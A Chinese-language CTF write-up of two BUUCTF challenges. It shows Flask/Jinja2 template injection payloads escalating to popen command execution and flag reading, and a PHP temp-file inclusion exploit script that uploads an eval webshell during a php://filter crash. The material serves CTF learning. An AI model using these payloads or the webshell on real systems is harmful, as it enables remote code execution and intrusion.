[RootersCTF2019]I_<3_Flask
思路

很明显是flask模板注入,但是找不到利用点
线索全无,扫不到什么,而且页面没有任何信息
只能跟WP了
解题
发现没有信息之后,尝试使用arjun爆破网站参数
pip install arjun
arjun -u http://8433a331-b6f4-4f89-87d4-ffeee99fd4b1.node5.buuoj.cn:81/ -c 100 -d 5
# -c 100表示每次请求携带100个参数
# -d 5 表示设置延迟为5s,毕竟BUUCTF有沟槽的防d,导致请求一多就429

有name这个参数,尝试一下
确实有利用点

那么按标准流程来
因为SSTI打的少,写细一点
{{''.__class__.__bases__[0]}}
# 拿到基类
<class 'object'>
{{''.__class__.__bases__[0].__subclasses__()}}
# 拿到子类列表,太大了不复制了
[<>, <>, ...]
接下来拿到可以getshell的类,以<class ‘os._wrap_close’>为例
我有个简单的方法
首先在页面ctrl + f查找,确定有
然后放到文本编辑器里面,将, 替换为,\n

再查找,行数即序号,找到序号为133
{{"".__class__.__bases__[0].__subclasses__()[132].__init__}}
# 初始化这个类
<function _wrap_close.__init__ at 0x7f29db7a65e0>
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('whoami').read()}}
# 调用它的popen方法
flask_lover
{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('find / -name "*flag*"').read()}}
# 列出*flag*文件名的文件

{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__['popen']('cat /usr/src/app/flag.txt').read()}}
# 读取/usr/src/app/flag.txt
flag{28a56866-f919-401d-9007-83b72ecf5fc2}
最后看看源码,这里直接放他人WP的了
from flask import Flask, render_template_string, request
app = Flask(__name__)
app.secret_key = "fuk9dfuk5680fukbddbee2fuk"
@app.route('/', methods=['GET'])
def index():
name = 'Flask' + ' & ' + request.args.get("name", default="Flask")
//可以看到下面这行代码直接拼接了name参数的值,从而导致了ssti漏洞
template = """ {% extends "layout.html" %} {% block content %} <div class="content-section"> I ♥ """ + name + """ </div> {% endblock %}"""
return render_template_string(template)
if __name__ == '__main__':
app.run(debug=False)
注意
- 使用arjun参数爆破工具获取网站的参数信息
[NPUCTF2020]ezinclude
思路
页面一片空白,只有一行提示:username/password error
YAKIT抓一下包看看

发现我们cookie中的hash正好对应上提示
尝试一下看看能不能登录

跟过去看看

这一天天的遇到多少个wants_gf的😅
总之,我们传file看看
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=index.php
index.php
<?php
include 'config.php';
@$name=$_GET['name'];
@$pass=$_GET['pass'];
if(md5($secret.$name)===$pass){
echo '<script language="javascript" type="text/javascript">
window.location.href="flflflflag.php";
</script>
';
}else{
setcookie("Hash",md5($secret.$name),time()+3600000);
echo "username/password error";
}
?>
<html>
<!--md5($secret.$name)===$pass -->
</html>
/flflflflag.php?file=php://filter/read=convert.base64-encode/resource=flflflflag.php
flflflflag.php
<html>
<head>
<script language="javascript" type="text/javascript">
window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_出题人_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>
还有一个config.php
<?php
$secret='%^$&$#fffdflag_is_not_here_ha_ha';
?>
解题
没有思路了,看WP
参考文献:https://blog.csdn.net/weixin_45646006/article/details/120817553
[NPUCTF2020]ezinclude(PHP临时文件包含) – 「配枪朱丽叶。」
说是dirsearch扫,用到了这个字典:
dirmap/data/dict_mode_dict.txt at master · H4ckForJob/dirmap让我扫BUUCTF还不如让我去死
python ./dirsearch.py -u http://d597bd93-ef45-4b58-881d-abecd603bfbf.node5.buuoj.cn:81/ -t 15 --delay=3 -w dict_mode_dict.txt

看看dir.php
<?php
var_dump(scandir('/tmp'));
?>
直接import发现是空的
array(2) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
}
这里看到读取/tmp,可以得到线索:可能涉及到临时文件包含漏洞
使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,再进行文件名爆破就可以getshell。这个崩溃原因是存在一处空指针引用。
该方法仅适用于以下php7版本,php5并不存在该崩溃。
- php7.0.0-7.1.2可以利用, 7.1.2x版本的已被修复
- php7.1.3-7.2.1可以利用, 7.2.1x版本的已被修复
- php7.2.2-7.2.8可以利用, 7.2.9一直到7.3到现在的版本已被修复
我们可以尝试一下
import requests
from io import BytesIO # 在内存中读写bytes,不是很懂
payload = "<?php @eval($_POST[lingye]);?>"
data = {
"file": BytesIO(payload.encode())
}
url = "http://d597bd93-ef45-4b58-881d-abecd603bfbf.node5.buuoj.cn:81/"\
"flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
try:
res = requests.post(url=url, files=data, allow_redirects=False) # 禁止重定向
print("seccess!")
except:
print("fail!")
然后访问dir.php
array(3) {
[0]=>
string(1) "."
[1]=>
string(2) ".."
[2]=>
string(9) "phpIZAchN"
}
然后访问这个就行

注意
- php的临时文件包含(上传)漏洞